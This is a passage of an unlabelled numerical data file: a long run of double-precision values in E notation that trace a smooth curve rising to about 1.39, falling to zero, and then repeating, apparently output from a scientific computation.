0.1515579753861312E+00  0.1601420334607315E+00\n  0.1689992816780165E+00  0.1781282877192849E+00  0.1875272260963912E+00  0.1971938832464155E+00  0.2071256634156783E+00\n  0.2173195952919433E+00  0.2277723393431911E+00  0.2384801958210745E+00  0.2494391133870441E+00  0.2606446983191641E+00\n  0.2720922242578070E+00  0.2837766424487163E+00  0.2956925924423432E+00  0.3078344132088888E+00  0.3201961546291090E+00\n  0.3327715893216590E+00  0.3455542247685515E+00  0.3585373157011766E+00  0.3717138767102711E+00  0.3850766950442213E+00\n  0.3986183435611380E+00  0.4123311938012285E+00  0.4262074291471305E+00  0.4402390580410298E+00  0.4544179272285823E+00\n  0.4687357350008659E+00  0.4831840444068136E+00  0.4977542964098284E+00  0.5124378229635098E+00  0.5272258599826819E+00\n  0.5421095601871498E+00  0.5570800057968556E+00  0.5721282210583372E+00  0.5872451845836121E+00  0.6024218414838124E+00\n  0.6176491152810919E+00  0.6329179195834939E+00  0.6482191695086116E+00  0.6635437928430084E+00  0.6788827409254566E+00\n  0.6942269992431367E+00  0.7095675977309721E+00  0.7248956207653083E+00  0.7402022168441228E+00  0.7554786079469059E+00\n  0.7707160985682907E+00  0.7859060844203938E+00  0.8010400607996875E+00  0.8161096306150647E+00  0.8311065120745426E+00\n  0.8460225460288135E+00  0.8608497029705907E+00  0.8755800896893798E+00  0.8902059555819789E+00  0.9047196986196469E+00\n  0.9191138709734521E+00  0.9333811842999254E+00  0.9475145146896305E+00  0.9615069072817952E+00  0.9753515805486259E+00\n  0.9890419302533513E+00  0.1002571533086473E+01  0.1015934149985090E+01  0.1029123729140496E+01  0.1042134408699634E+01\n  0.1054960519166231E+01  0.1067596585507774E+01  0.1080037328974709E+01  0.1092277668638490E+01  0.1104312722655314E+01\n  0.1116137809262549E+01  0.1127748447515049E+01  0.1139140357768670E+01  0.1150309461918440E+01  0.1161251883398932E+01\n  0.1171963946954482E+01  0.1182442178186937E+01  0.1192683302888721E+01  0.1202684246168965E+01  0.1212442131380551E+01\n  0.1221954278855855E+01  0.1231218204459002E+01  0.1240231617962418E+01  0.1248992421255417E+01  0.1257498706392534E+01\n  0.1265748753489242E+01  0.1273741028472617E+01  0.1281474180694483E+01  0.1288947040414400E+01  0.1296158616159860E+01\n  0.1303108091970871E+01  0.1309794824536052E+01  0.1316218340227214E+01  0.1322378332039313E+01  0.1328274656442483E+01\n  0.1333907330152773E+01  0.1339276526828055E+01  0.1344382573695405E+01  0.1349225948116168E+01  0.1353807274094698E+01\n  0.1358127318736686E+01  0.1362186988662762E+01  0.1365987326382977E+01  0.1369529506637536E+01  0.1372814832709058E+01\n  0.1375844732711431E+01  0.1378620755860210E+01  0.1381144568729309E+01  0.1383417951498597E+01  0.1385442794196838E+01\n  0.1387221092944273E+01  0.1388754946198940E+01  0.1390046551010727E+01  0.1391098199286932E+01  0.1391912274073011E+01\n  0.1392491245851972E+01  0.1392837668865793E+01  0.1392954177462024E+01  0.1392843482468616E+01  0.1392508367599889E+01\n  0.1391951685896345E+01  0.1391176356200982E+01  0.1390185359674514E+01  0.1388981736351864E+01  0.1387568581742103E+01\n  0.1385949043473885E+01  0.1384126317988323E+01  0.1382103647281089E+01  0.1379884315695416E+01  0.1377471646767576E+01\n  0.1374869000126249E+01  0.1372079768447110E+01  0.1369107374463862E+01  0.1365955268036790E+01  0.1362626923279866E+01\n  0.1359125835747256E+01  0.1355455519680076E+01  0.1351619505314043E+01  0.1347621336248676E+01  0.1343464566878517E+01\n  0.1339152759886839E+01  0.1334689483802160E+01  0.1330078310617843E+01  0.1325322813474955E+01  0.1320426564408511E+01\n  0.1315393132157122E+01  0.1310226080036051E+01  0.1304928963873535E+01  0.1299505330010257E+01  0.1293958713361729E+01\n  0.1288292635543297E+01  0.1282510603057466E+01  0.1276616105543136E+01  0.1270612614086314E+01  0.1264503579591840E+01\n  0.1258292431215576E+01  0.1251982574856509E+01  0.1245577391708143E+01  0.1239080236868539E+01  0.1232494438008325E+01\n  0.1225823294095955E+01  0.1219070074179471E+01  0.1212238016223985E+01  0.1205330326004104E+01  0.1198350176050432E+01\n  0.1191300704649328E+01  0.1184185014895046E+01  0.1177006173793340E+01  0.1169767211415667E+01  0.1162471120103017E+01\n  0.1155120853718478E+01  0.1147719326947540E+01  0.1140269414645216E+01  0.1132773951228974E+01  0.1125235730116526E+01\n  0.1117657503207466E+01  0.1110041980407784E+01  0.1102391829196240E+01  0.1094709674231619E+01  0.1086998096999836E+01\n  0.1079259635499933E+01  0.1071496783967914E+01  0.1063711992637463E+01  0.1055907667536516E+01  0.1048086170318704E+01\n  0.1040249818128692E+01  0.1032400883500383E+01  0.1024541594287072E+01  0.1016674133622509E+01  0.1008800639911969E+01\n  0.1000923206852306E+01  0.9930438834801176E+00  0.9851646742469989E+00  0.9772875391210279E+00  0.9694143937135093E+00\n  0.9615471094301068E+00  0.9536875136454389E+00  0.9458373899002650E+00  0.9379984781203971E+00  0.9301724748564474E+00\n  0.9223610335436100E+00  0.9145657647805825E+00  0.9067882366268739E+00  0.8990299749176214E+00  0.8912924635951891E+00\n  0.8835771450567167E+00  0.8758854205168844E+00  0.8682186503851309E+00  0.8605781546565948E+00  0.8529652133160540E+00\n  0.8453810667541574E+00  0.8378269161952663E+00  0.8303039241362116E+00  0.8228132147953376E+00  0.8153558745711390E+00\n  0.8079329525099168E+00  0.8005454607817869E+00  0.7931943751644794E+00  0.7858806355343143E+00  0.7786051463638074E+00\n  0.7713687772253328E+00  0.7641723633003079E+00  0.7570167058933844E+00  0.7499025729511121E+00  0.7428306995846062E+00\n  0.7358017885957079E+00  0.7288165110062022E+00  0.7218755065895981E+00  0.7149793844050807E+00  0.7081287233331618E+00\n  0.7013240726126531E+00  0.6945659523785421E+00  0.6878548542003931E+00  0.6811912416209033E+00  0.6745755506942478E+00\n  0.6680081905238785E+00  0.6614895437994238E+00  0.6550199673323996E+00  0.6485997925903795E+00  0.6422293262293763E+00\n  0.6359088506240991E+00  0.6296386243958603E+00  0.6234188829378302E+00  0.6172498389374158E+00  0.6111316828955082E+00\n  0.6050645836423746E+00  0.5990486888499783E+00  0.5930841255405085E+00  0.5871710005909401E+00  0.5813094012334057E+00\n  0.5754993955512363E+00  0.5697410329704640E+00  0.5640343447466610E+00  0.5583793444469337E+00  0.5527760284269526E+00\n  0.5472243763028636E+00  0.5417243514179740E+00  0.5362759013040796E+00  0.5308789581373305E+00  0.5255334391885358E+00\n  0.5202392472678002E+00  0.5149962711634282E+00  0.5098043860749818E+00  0.5046634540404551E+00  0.4995733243574682E+00\n  0.4945338339984403E+00  0.4895448080196743E+00  0.4846060599643165E+00  0.4797173922591353E+00  0.4748785966051021E+00\n  0.4700894543617143E+00  0.4653497369250721E+00  0.4606592060996474E+00  0.4560176144637674E+00  0.4514247057287724E+00\n  0.4468802150918596E+00  0.4423838695826035E+00  0.4379353884031551E+00  0.4335344832621323E+00  0.4291808587022021E+00\n  0.4248742124213836E+00  0.4206142355880688E+00  0.4164006131498095E+00  0.4122330241358657E+00  0.4081111419535712E+00\n  0.4040346346785266E+00  0.4000031653386660E+00  0.3960163921922264E+00  0.3920739689996687E+00  0.3881755452895829E+00\n  0.3843207666186236E+00  0.3805092748255328E+00  0.3767407082792822E+00  0.3730147021214013E+00  0.3693308885025316E+00\n  0.3656888968132757E+00  0.3620883539093817E+00  0.3585288843313358E+00  0.3550101105184098E+00  0.3515316530172374E+00\n  0.3480931306849715E+00  0.3446941608870878E+00  0.3413343596899074E+00  0.3380133420478924E+00  0.3347307219857906E+00\n  0.3314861127756896E+00  0.3282791271090590E+00  0.3251093772638369E+00  0.3219764752666408E+00  0.3188800330501668E+00\n  0.3158196626058555E+00  0.3127949761318864E+00  0.3098055861765790E+00  0.3068511057772733E+00  0.3039311485947566E+00\n  0.3010453290433147E+00  0.2981932624164749E+00  0.2953745650085209E+00  0.2925888542318437E+00  0.2898357487302072E+00\n  0.2871148684879984E+00  0.2844258349355381E+00  0.2817682710505188E+00  0.2791418014556485E+00  0.2765460525125659E+00\n  0.2739806524121053E+00  0.2714452312609780E+00  0.2689394211649400E+00  0.2664628563085241E+00  0.2640151730313972E+00\n  0.2615960099014194E+00  0.2592050077844695E+00  0.2568418099111116E+00  0.2545060619401636E+00  0.2521974120192415E+00\n  0.2499155108423418E+00  0.2476600117045342E+00  0.2454305705538249E+00  0.2432268460402566E+00  0.2410484995623153E+00\n  0.2388951953107000E+00  0.2367666003095238E+00  0.2346623844550057E+00  0.2325822205517195E+00  0.2305257843464541E+00\n  0.2284927545597522E+00  0.2264828129151803E+00  0.2244956441663966E+00  0.2225309361220672E+00  0.2205883796686914E+00\n  0.2186676687913947E+00  0.2167685005927387E+00  0.2148905753096101E+00  0.2130335963282359E+00  0.2111972701973850E+00\n  0.2093813066398013E+00  0.2075854185619259E+00  0.2058093220619543E+00  0.2040527364362842E+00  0.2023153841843948E+00\n  0.2005969910122156E+00  0.1988972858340233E+00  0.1972160007729189E+00  0.1955528711599284E+00  0.1939076355317738E+00\n  0.1922800356273561E+00  0.1906698163829959E+00  0.1890767259264730E+00  0.1875005155699057E+00  0.1859409398015150E+00\n  0.1843977562763068E+00  0.1828707258057186E+00  0.1813596123462640E+00  0.1798641829872162E+00  0.1783842079373634E+00\n  0.1769194605108787E+00  0.1754697171123329E+00  0.1740347572208903E+00  0.1726143633737163E+00  0.1712083211486371E+00\n  0.1698164191460766E+00  0.1684384489703060E+00  0.1670742052100373E+00  0.1657234854183902E+00  0.1643860900922608E+00\n  0.1630618226511230E+00  0.1617504894152905E+00  0.1604518995836656E+00  0.1591658652110027E+00  0.1578922011847117E+00\n  0.1566307252012296E+00  0.1553812577419816E+00  0.1541436220489565E+00  0.1529176440999246E+00  0.1517031525833137E+00\n  0.1504999788727721E+00  0.1493079570014363E+00  0.1481269236359270E+00  0.1469567180500930E+00  0.1457971820985229E+00\n  0.1446481601898438E+00  0.1435094992598286E+00  0.1423810487443264E+00  0.1412626605520352E+00  0.1401541890371375E+00\n  0.1390554909718100E+00  0.1379664255186285E+00  0.1368868542028802E+00  0.1358166408848024E+00  0.1347556517317591E+00\n  0.1337037551903719E+00  0.1326608219586172E+00  0.1316267249579071E+00  0.1306013393051614E+00  0.1295845422848884E+00\n  0.1285762133212826E+00  0.1275762339503552E+00  0.1265844877921041E+00  0.1256008605227379E+00  0.1246252398469633E+00\n  0.1236575154703454E+00  0.1226975790717512E+00  0.1217453242758857E+00  0.1208006466259300E+00  0.1198634435562893E+00\n  0.1189336143654594E+00  0.1180110601890202E+00  0.1170956839727626E+00  0.1161873904459593E+00  0.1152860860947805E+00\n  0.1143916791358692E+00  0.1135040794900743E+00  0.1126231987563555E+00  0.1117489501858582E+00  0.1108812486561707E+00\n  0.1100200106457653E+00  0.1091651542086276E+00  0.1083165989490820E+00  0.1074742659968154E+00  0.1066380779821052E+00\n  0.1058079590112519E+00  0.1049838346422265E+00  0.1041656318605295E+00  0.1033532790552702E+00  0.1025467059954647E+00\n  0.1017458438065610E+00  0.1009506249471885E+00  0.1001609831861390E+00  0.9937685357957692E-01  0.9859817244848566E-01\n  0.9782487735634983E-01  0.9705690708707349E-01  0.9629420162313919E-01  0.9553670212400750E-01  0.9478435090475915E-01\n  0.9403709141497944E-01  0.9329486821788784E-01  0.9255762696971309E-01  0.9182531439931366E-01  0.9109787828804443E-01\n  0.9037526744987140E-01  0.8965743171173354E-01  0.8894432189415159E-01  0.8823588979208480E-01  0.8753208815603555E-01\n  0.8683287067340226E-01  0.8613819195007733E-01  0.8544800749229453E-01  0.8476227368872161E-01  0.8408094779279952E-01\n  0.8340398790532604E-01  0.8273135295728512E-01  0.8206300269292026E-01  0.8139889765304979E-01  0.8073899915862499E-01\n  0.8008326929452908E-01  0.7943167089361686E-01  0.7878416752099129E-01  0.7814072345852002E-01  0.7750130368958605E-01\n  0.7686587388407512E-01  0.7623440038359473E-01  0.7560685018692687E-01  0.7498319093571042E-01  0.7436339090035288E-01\n  0.7374741896616860E-01  0.7313524461974377E-01  0.7252683793552536E-01  0.7192216956263091E-01  0.7132121071188088E-01\n  0.7072393314304767E-01  0.7013030915232332E-01  0.6954031156000041E-01  0.6895391369836718E-01  0.6837108939981353E-01\n  0.6779181298514624E-01  0.6721605925211059E-01  0.6664380346411826E-01  0.6607502133917825E-01  0.6550968903902774E-01\n  0.6494778315846379E-01  0.6438928071487048E-01  0.6383415913794230E-01  0.6328239625959906E-01  0.6273397030409252E-01\n  0.6218885987830131E-01  0.6164704396221248E-01  0.6110850189958664E-01  0.6057321338880634E-01  0.6004115847390429E-01\n  0.5951231753576908E-01  0.5898667128352685E-01  0.5846420074609691E-01  0.5794488726391903E-01  0.5742871248084910E-01\n  0.5691565833622340E-01  0.5640570705708669E-01  0.5589884115058460E-01  0.5539504339651542E-01  0.5489429684004177E-01\n  0.5439658478455860E-01  0.5390189078471544E-01  0.5341019863959112E-01  0.5292149238601910E-01  0.5243575629206128E-01\n  0.5195297485062703E-01  0.5147313277323774E-01  0.5099621498393213E-01  0.5052220661331305E-01  0.5005109299273101E-01\n  0.4958285964860470E-01  0.4911749229687554E-01  0.4865497683759399E-01  0.4819529934963621E-01  0.4773844608554897E-01\n  0.4728440346652141E-01  0.4683315807748007E-01  0.4638469666230777E-01  0.4593900611918208E-01  0.4549607349603369E-01\n  0.4505588598612064E-01  0.4461843092371864E-01  0.4418369577992455E-01  0.4375166815857148E-01  0.4332233579225347E-01\n  0.4289568653845881E-01  0.4247170837580991E-01  0.4205038940040735E-01  0.4163171782227736E-01  0.4121568196192090E-01\n  0.4080227024696274E-01  0.4039147120889799E-01  0.3998327347993617E-01  0.3957766578994016E-01  0.3917463696345855E-01\n  0.3877417591685010E-01  0.3837627165549899E-01  0.3798091327111933E-01  0.3758808993914695E-01  0.3719779091621782E-01\n  0.3681000553773126E-01  0.3642472321549702E-01  0.3604193343546399E-01  0.3566162575553031E-01  0.3528378980343305E-01\n  0.3490841527471608E-01  0.3453549193077510E-01  0.3416500959697864E-01  0.3379695816086406E-01  0.3343132757040658E-01\n  0.3306810783236118E-01  0.3270728901067565E-01  0.3234886122497425E-01  0.3199281464910996E-01  0.3163913950978563E-01\n  0.3128782608524168E-01  0.3093886470401072E-01  0.3059224574373675E-01  0.3024795963005924E-01  0.2990599683556058E-01\n  0.2956634787877624E-01  0.2922900332326631E-01  0.2889395377674870E-01  0.2856118989029233E-01  0.2823070235756949E-01\n  0.2790248191416771E-01  0.2757651933695894E-01  0.2725280544352705E-01  0.2693133109165141E-01  0.2661208717884729E-01\n  0.2629506464196176E-01  0.2598025445682497E-01  0.2566764763795566E-01  0.2535723523832159E-01  0.2504900834915327E-01\n  0.2474295809981158E-01  0.2443907565770799E-01  0.2413735222827780E-01  0.2383777905500606E-01  0.2354034741950517E-01\n  0.2324504864164501E-01  0.2295187407973472E-01  0.2266081513075604E-01  0.2237186323064830E-01  0.2208500985464502E-01\n  0.2180024651766184E-01  0.2151756477473634E-01  0.2123695622151859E-01  0.2095841249481422E-01  0.2068192527317876E-01\n  0.2040748627756411E-01  0.2013508727201714E-01  0.1986472006443057E-01  0.1959637650734679E-01  0.1933004849881481E-01\n  0.1906572798330038E-01  0.1880340695265023E-01  0.1854307744711091E-01  0.1828473155640220E-01  0.1802836142084625E-01\n  0.1777395923255295E-01  0.1752151723666215E-01  0.1727102773264334E-01  0.1702248307565384E-01  0.1677587567795624E-01\n  0.1653119801039607E-01  0.1628844260394024E-01  0.1604760205127793E-01  0.1580866900848456E-01  0.1557163619674996E-01\n  0.1533649640417201E-01  0.1510324248761716E-01  0.1487186737464884E-01  0.1464236406552526E-01  0.1441472563526792E-01\n  0.1418894523580252E-01  0.1396501609817369E-01  0.1374293153483488E-01  0.1352268494201562E-01  0.1330426980216726E-01\n  0.1308767968648953E-01  0.1287290825753935E-01  0.1265994927192371E-01  0.1244879658307933E-01  0.1223944414413996E-01\n  0.1203188601089432E-01  0.1182611634483635E-01  0.1162212941630988E-01  0.1141991960775031E-01  0.1121948141702494E-01\n  0.1102080946087490E-01  0.1082389847846042E-01  0.1062874333501194E-01  0.1043533902558977E-01  0.1024368067895393E-01\n  0.1005376356154735E-01  0.9865583081593922E-02  0.9679134793314684E-02  0.9494414401263529E-02  0.9311417764785166E-02\n  0.9130140902597625E-02  0.8950579997500882E-02  0.8772731401214267E-02  0.8596591639343950E-02  0.8422157416482423E-02\n  0.8249425621441884E-02  0.8078393332622082E-02  0.7909057823514530E-02  0.7741416568343256E-02  0.7575467247842871E-02\n  0.7411207755174127E-02  0.7248636201976184E-02  0.7087750924555473E-02  0.6928550490209059E-02  0.6771033703680868E-02\n  0.6615199613748215E-02  0.6461047519934641E-02  0.6308576979345235E-02  0.6157787813618597E-02  0.6008680115989046E-02\n  0.5861254258451652E-02  0.5715510899020261E-02  0.5571450989068522E-02  0.5429075780740853E-02  0.5288386834419521E-02\n  0.5149386026230897E-02  0.5012075555572173E-02  0.4876457952637328E-02  0.4742536085917297E-02  0.4610313169647435E-02\n  0.4479792771170533E-02  0.4350978818180493E-02  0.4223875605807347E-02  0.4098487803498918E-02  0.3974820461650163E-02\n  0.3852879017924298E-02  0.3732669303204216E-02  0.3614197547105479E-02  0.3497470382973937E-02  0.3382494852283408E-02\n  0.3269278408338597E-02  0.3157828919178777E-02  0.3048154669566634E-02  0.2940264361933685E-02  0.2834167116141327E-02\n  0.2729872467901025E-02  0.2627390365681719E-02  0.2526731165915232E-02  0.2427905626291050E-02  0.2330924896912227E-02\n  0.2235800509061165E-02  0.2142544361300639E-02  0.2051168702609613E-02  0.1961686112225166E-02  0.1874109475832896E-02\n  0.1788451957715710E-02  0.1704726968437611E-02  0.1622948127603452E-02  0.1543129221197582E-02  0.1465284152965789E-02\n  0.1389426889263572E-02  0.1315571396752711E-02  0.1243731572285281E-02  0.1173921164272465E-02  0.1106153684794404E-02\n  0.1040442311668004E-02  0.9767997796547971E-03  0.9152382599604941E-03  0.8557692271559906E-03  0.7984033126378760E-03\n  0.7431501437484684E-03  0.6900181676963877E-03  0.6390144594619438E-03  0.5901445129451447E-03  0.5434120147240581E-03\n  0.4988185999463610E-03  0.4563635900883120E-03  0.4160437125934487E-03  0.3778528027632167E-03  0.3417814887280997E-03\n  0.3078168608981688E-03  0.2759421279962239E-03  0.2461362626341978E-03  0.2183736404266527E-03  0.1926236778641105E-03\n  0.1688504756124491E-03  0.1470124755772384E-03  0.1270621419785909E-03  0.1089456788163143E-03  0.9260279843818645E-04\n  0.7796655839983218E-04  0.6496328632466781E-04  0.5351261488371726E-04  0.4352765109263255E-04  0.3491530554961739E-04\n  0.2757680758595959E-04  0.2140843101578471E-04  0.1630245156608879E-04  0.1214835033531085E-04  0.8834266891203550E-05\n  0.6248690035680286E-05  0.4282353222462611E-05  0.2830275035848309E-05  0.1793853932613698E-05  0.1082893085919590E-05\n  0.6174003285747537E-06  0.3289872539180627E-06  0.1616905202076728E-06  0.7206870776681014E-07  0.2849911999804606E-07\n  0.9712198708650968E-08  0.2742442283547959E-08  0.6076172112450161E-09  0.9772731077597771E-10  0.1017048852958432E-10\n  0.5734341782146348E-12  0.1311491489053561E-13  0.7338688834175233E-16  0.3808514445153469E-19  0.2185032842849075E-24\n  0.4450194794086531E-34  0.4448435176905321E-58  0.1173305758391880E-217  0.0000000000000000E+00  0.0000000000000000E+00\n  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00\n  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00\n  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00\n  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00\n  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00\n  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00\n  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00\n  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00\n  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00\n  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00\n  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00\n  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00\n  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00\n  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00\n  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00\n  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00\n  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00\n  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00\n  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00\n  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00\n  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00\n  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00\n  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00\n  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00\n  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00\n  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00\n  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00\n  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00\n  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00\n  0.0000000000000000E+00  0.1353993104251454E-10  0.8388292241576100E-09  0.9249073098372293E-08  0.5030460210239372E-07\n  0.1857568627085415E-06  0.5369197789403567E-06  0.1310591025996369E-05  0.2826805415934704E-05  0.5547382204843158E-05\n  0.1010438933657199E-04  0.1732779196828242E-04  0.2827168149581216E-04  0.4423859602721504E-04  0.6680154505955162E-04\n  0.9782344112589946E-04  0.1394737204414197E-03  0.1942420040555485E-03  0.2649487116051849E-03  0.3547525922860875E-03\n  0.4671551828778767E-03  0.6060022412741116E-03  0.7754822366296253E-03  0.9801220045380374E-03  0.1224779698140599E-02\n  0.1514635184246249E-02  0.1855178047873591E-02  0.2252193379531577E-02  0.2711745527424523E-02  0.3240160001952968E-02\n  0.3844003722708506E-02  0.4530063798923195E-02  0.5305325033301281E-02  0.6176946336577127E-02  0.7152236236230247E-02\n  0.8238627657747143E-02  0.9443652150831976E-02  0.1077491372619769E-01  0.1224006246116400E-01  0.1384676802438050E-01\n  0.1560269326170134E-01  0.1751546797666743E-01  0.1959266303029807E-01  0.2184176487603834E-01  0.2427015063682662E-01\n  0.2688506382240104E-01  0.2969359077621229E-01  0.3270263793270082E-01  0.3591890995727141E-01  0.3934888883309312E-01\n  0.4299881395089809E-01  0.4687466325027261E-01  0.5098213545355013E-01  0.5532663342634311E-01  0.5991324869200370E-01\n  0.6474674712088738E-01  0.6983155580921956E-01  0.7517175115663279E-01  0.8077104814605506E-01  0.8663279082458433E-01\n  0.9275994397927995E-01  0.9915508599743368E-01  0.1058204028968442E+00  0.1127576835079031E+00  0.1199683157858993E+00\n  0.1274532842288529E+00  0.1352131683733934E+00  0.1432481423386811E+00  0.1515579753861312E+00  0.1601420334607315E+00\n  0.1689992816780165E+00  0.1781282877192849E+00  0.1875272260963912E+00  0.1971938832464155E+00  0.2071256634156783E+00\n  0.2173195952919433E+00  0.2277723393431911E+00  0.2384801958210745E+00  0.2494391133870441E+00  0.2606446983191641E+00\n  0.2720922242578070E+00  0.2837766424487163E+00  0.2956925924423432E+00  0.3078344132088888E+00  0.3201961546291090E+00\n  0.3327715893216590E+00  0.3455542247685515E+00  0.3585373157011766E+00  0.3717138767102711E+00  0.3850766950442213E+00\n  0.3986183435611380E+00  0.4123311938012285E+00  0.4262074291471305E+00  0.4402390580410298E+00  0.4544179272285823E+00\n  0.4687357350008659E+00  0.4831840444068136E+00  0.4977542964098284E+00  0.5124378229635098E+00  0.5272258599826819E+00\n  0.5421095601871498E+00  0.5570800057968556E+00  0.5721282210583372E+00  0.5872451845836121E+00  0.6024218414838124E+00\n  0.6176491152810919E+00  0.6329179195834939E+00  0.6482191695086116E+00  0.6635437928430084E+00  0.6788827409254566E+00\n  0.6942269992431367E+00  0.7095675977309721E+00  0.7248956207653083E+00  0.7402022168441228E+00  0.7554786079469059E+00\n  0.7707160985682907E+00  0.7859060844203938E+00  0.8010400607996875E+00  0.8161096306150647E+00  0.8311065120745426E+00\n  0.8460225460288135E+00  0.8608497029705907E+00  0.8755800896893798E+00  0.8902059555819789E+00  0.9047196986196469E+00\n  0.9191138709734521E+00  0.9333811842999254E+00  0.9475145146896305E+00  0.9615069072817952E+00  0.9753515805486259E+00\n  0.9890419302533513E+00  0.1002571533086473E+01  0.1015934149985090E+01  0.1029123729140496E+01  0.1042134408699634E+01\n  0.1054960519166231E+01  0.1067596585507774E+01  0.1080037328974709E+01  0.1092277668638490E+01  0.1104312722655314E+01\n  0.1116137809262549E+01  0.1127748447515049E+01  0.1139140357768670E+01  0.1150309461918440E+01  0.1161251883398932E+01\n  0.1171963946954482E+01  0.1182442178186937E+01  0.1192683302888721E+01  0.1202684246168965E+01  0.1212442131380551E+01\n  0.1221954278855855E+01  0.1231218204459002E+01  0.1240231617962418E+01  0.1248992421255417E+01  0.1257498706392534E+01\n  0.1265748753489242E+01  0.1273741028472617E+01  0.1281474180694483E+01  0.1288947040414400E+01  0.1296158616159860E+01\n  0.1303108091970871E+01  0.1309794824536052E+01  0.1316218340227214E+01  0.1322378332039313E+01  0.1328274656442483E+01\n  0.1333907330152773E+01  0.1339276526828055E+01  0.1344382573695405E+01  0.1349225948116168E+01  0.1353807274094698E+01\n  0.1358127318736686E+01  0.1362186988662762E+01  0.1365987326382977E+01  0.1369529506637536E+01  0.1372814832709058E+01\n  0.1375844732711431E+01  0.1378620755860210E+01  0.1381144568729309E+01  0.1383417951498597E+01  0.1385442794196838E+01\n  0.1387221092944273E+01  0.1388754946198940E+01  0.1390046551010727E+01  0.1391098199286932E+01  0.1391912274073011E+01\n  0.1392491245851972E+01  0.1392837668865793E+01  0.1392954177462024E+01  0.1392843482468616E+01  0.1392508367599889E+01\n  0.1391951685896345E+01  0.1391176356200982E+01  0.1390185359674514E+01  0.1388981736351864E+01  0.1387568581742103E+01\n  0.1385949043473885E+01  0.1384126317988323E+01  0.1382103647281089E+01  0.1379884315695416E+01  0.1377471646767576E+01\n  0.1374869000126249E+01  0.1372079768447110E+01  0.1369107374463862E+01  0.1365955268036790E+01  0.1362626923279866E+01\n  0.1359125835747256E+01  0.1355455519680076E+01  0.1351619505314043E+01  0.1347621336248676E+01  0.1343464566878517E+01\n  0.1339152759886839E+01  0.1334689483802160E+01  0.1330078310617843E+01  0.1325322813474955E+01  0.1320426564408511E+01\n  0.1315393132157122E+01  0.1310226080036051E+01  0.1304928963873535E+01  0.1299505330010257E+01  0.1293958713361729E+01\n  0.1288292635543297E+01  0.1282510603057466E+01  0.1276616105543136E+01  0.1270612614086314E+01  0.1264503579591840E+01\n  0.1258292431215576E+01  0.1251982574856509E+01  0.1245577391708143E+01  0.1239080236868539E+01  0.1232494438008325E+01\n  0.1225823294095955E+01  0.1219070074179471E+01  0.1212238016223985E+01  0.1205330326004104E+01  0.1198350176050432E+01\n  0.1191300704649328E+01  0.1184185014895046E+01  0.1177006173793340E+01  0.1169767211415667E+01  0.1162471120103017E+01\n  0.1155120853718478E+01  0.1147719326947540E+01  0.1140269414645216E+01  0.1132773951228974E+01  0.1125235730116526E+01\n  0.1117657503207466E+01  0.1110041980407784E+01  0.1102391829196240E+01  0.1094709674231619E+01  0.1086998096999836E+01\n  0.1079259635499933E+01  0.1071496783967914E+01  0.1063711992637463E+01  0.1055907667536516E+01  0.1048086170318704E+01\n  0.1040249818128692E+01  0.1032400883500383E+01  0.1024541594287072E+01  0.1016674133622509E+01  0.1008800639911969E+01\n  0.1000923206852306E+01  0.9930438834801176E+00  0.9851646742469989E+00  0.9772875391210279E+00  0.9694143937135093E+00\n  0.9615471094301068E+00  0.9536875136454389E+00  0.9458373899002650E+00  0.9379984781203971E+00  0.9301724748564474E+00\n  0.9223610335436100E+00  0.9145657647805825E+00  0.9067882366268739E+00  0.8990299749176214E+00  0.8912924635951891E+00\n  0.8835771450567167E+00  0.8758854205168844E+00  